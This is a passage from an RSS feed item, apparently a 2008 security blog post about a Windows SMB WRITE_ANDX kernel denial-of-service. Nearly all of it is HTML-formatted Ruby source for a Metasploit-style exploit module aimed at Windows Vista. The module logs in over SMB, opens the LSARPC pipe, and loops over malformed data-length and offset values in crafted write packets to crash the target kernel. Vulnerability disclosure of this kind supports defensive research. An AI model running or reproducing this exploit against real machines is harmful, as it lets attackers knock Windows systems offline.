&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;Windows VISTA&#8217;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;Platform&#8217;</span> =&gt; <span class="st0">&#8216;win&#8217;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;DefaultTarget&#8217;</span> =&gt; <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; end</p>
<p>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">def</span> subexploit<span class="br0">&#40;</span>dlenlow, doffset,fillersize<span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_line<span class="br0">&#40;</span><span class="st0">&quot;1&quot;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; datastore<span class="br0">&#91;</span><span class="st0">&#8216;SMBUser&#8217;</span><span class="br0">&#93;</span>=<span class="st0">&#8216;testuser&#8217;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; datastore<span class="br0">&#91;</span><span class="st0">&#8216;SMBPass&#8217;</span><span class="br0">&#93;</span>=<span class="st0">&#8216;testuser&#8217;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; datastore<span class="br0">&#91;</span><span class="st0">&#8216;SMBDomain&#8217;</span><span class="br0">&#93;</span>=<span class="st0">&#8216;COBAYA&#8217;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; datastore<span class="br0">&#91;</span><span class="st0">&#8216;SMBName&#8217;</span><span class="br0">&#93;</span>=<span class="st0">&#8216;COBAYA&#8217;</span> </p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_line<span class="br0">&#40;</span><span class="st0">&quot;2&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; connect<span class="br0">&#40;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_line<span class="br0">&#40;</span><span class="st0">&quot;3&quot;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; smb_login<span class="br0">&#40;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_line<span class="br0">&#40;</span><span class="st0">&quot;4&quot;</span><span class="br0">&#41;</span><br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pkt = CONST::SMB_CREATE_PKT.<span class="me1">make_struct</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Flags1&#8242;</span><span class="br0">&#93;</span> = 0&#215;18<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Flags2&#8242;</span><span class="br0">&#93;</span> = 0xc807</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;MultiplexID&#8217;</span><span class="br0">&#93;</span> = simple.<span class="me1">client</span>.<span class="me1">multiplex_id</span>.<span class="me1">to_i</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;TreeID&#8217;</span><span class="br0">&#93;</span> = simple.<span class="me1">client</span>.<span class="me1">last_tree_id</span>.<span class="me1">to_i</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;UserID&#8217;</span><span class="br0">&#93;</span> = simple.<span class="me1">client</span>.<span class="me1">auth_user_id</span>.<span class="me1">to_i</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;ProcessID&#8217;</span><span class="br0">&#93;</span> = simple.<span class="me1">client</span>.<span class="me1">process_id</span>.<span class="me1">to_i</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Command&#8217;</span><span class="br0">&#93;</span> = CONST::SMB_COM_NT_CREATE_ANDX</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;WordCount&#8217;</span><span class="br0">&#93;</span> = <span class="nu0">24</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;AndX&#8217;</span><span class="br0">&#93;</span> = <span class="nu0">255</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;AndXOffset&#8217;</span><span class="br0">&#93;</span> = 0xdede<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;FileNameLen&#8217;</span><span class="br0">&#93;</span> = <span class="nu0">14</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;CreateFlags&#8217;</span><span class="br0">&#93;</span> = 0&#215;16<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;AccessMask&#8217;</span><span class="br0">&#93;</span> = 0x2019f &nbsp;<span class="co1"># Maximum Allowed</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;ShareAccess&#8217;</span><span class="br0">&#93;</span> = <span class="nu0">7</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;CreateOptions&#8217;</span><span class="br0">&#93;</span> = 0&#215;400040<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Impersonation&#8217;</span><span class="br0">&#93;</span> = <span class="nu0">2</span> &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Disposition&#8217;</span><span class="br0">&#93;</span> = <span class="nu0">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span> = <span class="st0">&quot;<span class="es0">\x</span>00<span class="es0">\\</span><span class="es0">\x</span>00L<span class="es0">\x</span>00S<span class="es0">\x</span>00A<span class="es0">\x</span>00R<span class="es0">\x</span>00P<span class="es0">\x</span>00C&quot;</span> + <span class="st0">&quot;<span class="es0">\x</span>00<span class="es0">\x</span>00&quot;</span></p>
<p>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; simple.<span class="me1">client</span>.<span class="me1">smb_send</span><span class="br0">&#40;</span>pkt.<span class="me1">to_s</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_line<span class="br0">&#40;</span><span class="st0">&quot;5&quot;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ack = simple.<span class="me1">client</span>.<span class="me1">smb_recv_parse</span><span class="br0">&#40;</span>CONST::SMB_COM_NT_CREATE_ANDX<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt = CONST::SMB_WRITE_PKT.<span class="me1">make_struct</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data_offset = pkt.<span class="me1">to_s</span>.<span class="me1">length</span> &#8211; <span class="nu0">4</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_line<span class="br0">&#40;</span><span class="st0">&quot;6&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; filler = Rex::Text.<span class="me1">rand_text</span><span class="br0">&#40;</span>fillersize<span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_line<span class="br0">&#40;</span><span class="st0">&quot;7&quot;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Signature1&#8242;</span><span class="br0">&#93;</span>=0xcccccccc<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Signature2&#8242;</span><span class="br0">&#93;</span>=0xcccccccc<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;MultiplexID&#8217;</span><span class="br0">&#93;</span> = simple.<span class="me1">client</span>.<span class="me1">multiplex_id</span>.<span class="me1">to_i</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;TreeID&#8217;</span><span class="br0">&#93;</span> = simple.<span class="me1">client</span>.<span class="me1">last_tree_id</span>.<span class="me1">to_i</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;UserID&#8217;</span><span class="br0">&#93;</span> = simple.<span class="me1">client</span>.<span class="me1">auth_user_id</span>.<span class="me1">to_i</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;ProcessID&#8217;</span><span class="br0">&#93;</span> = simple.<span class="me1">client</span>.<span class="me1">process_id</span>.<span class="me1">to_i</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Command&#8217;</span><span class="br0">&#93;</span> = CONST::SMB_COM_WRITE_ANDX<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Flags1&#8242;</span><span class="br0">&#93;</span> = 0&#215;18<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Flags2&#8242;</span><span class="br0">&#93;</span> = 0xc807<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;SMB&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;WordCount&#8217;</span><span class="br0">&#93;</span> = <span class="nu0">14</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;AndX&#8217;</span><span class="br0">&#93;</span> = <span class="nu0">255</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;AndXOffset&#8217;</span><span class="br0">&#93;</span> = 0xdede<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;FileID&#8217;</span><span class="br0">&#93;</span> = ack<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;FileID&#8217;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Offset&#8217;</span><span class="br0">&#93;</span> = <span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Reserved2&#8242;</span><span class="br0">&#93;</span> = <span class="nu0">-1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;WriteMode&#8217;</span><span class="br0">&#93;</span> = <span class="nu0">8</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Remaining&#8217;</span><span class="br0">&#93;</span> = fillersize<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;DataLenHigh&#8217;</span><span class="br0">&#93;</span> = <span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;DataLenLow&#8217;</span><span class="br0">&#93;</span> = dlenlow <span class="co1">#&lt;==================</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;DataOffset&#8217;</span><span class="br0">&#93;</span> = doffset <span class="co1">#&lt;====</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;DataOffsetHigh&#8217;</span><span class="br0">&#93;</span> = 0xcccccccc <span class="co1">#&lt;====</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;ByteCount&#8217;</span><span class="br0">&#93;</span> = fillersize<span class="co1">#&lt;====</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt<span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span>.<span class="me1">v</span><span class="br0">&#91;</span><span class="st0">&#8216;Payload&#8217;</span><span class="br0">&#93;</span> = filler</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_line<span class="br0">&#40;</span><span class="st0">&quot;8&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; simple.<span class="me1">client</span>.<span class="me1">smb_send</span><span class="br0">&#40;</span>pkt.<span class="me1">to_s</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_line<span class="br0">&#40;</span><span class="st0">&quot;9&quot;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; end</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">def</span> exploit<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k=<span class="nu0">72</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j=0xffff<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span> j&gt;<span class="nu0">10000</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i=0xffff<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span> i&gt;<span class="nu0">10000</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_line<span class="br0">&#40;</span><span class="st0">&quot;datalenlow=#{i} dataoffset=#{j} fillersize=#{k}&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; subexploit<span class="br0">&#40;</span>i,j,k<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rescue<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_line<span class="br0">&#40;</span><span class="st0">&quot;rescue&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i=i<span class="nu0">-10000</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j=j<span class="nu0">-10000</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; end</p>
<p>end</p>
<p>end<br />
end<br />
end<br />
&nbsp;</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2008/09/14/microsoft-windows-write_andx-smb-command-handling-kernel-dos/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

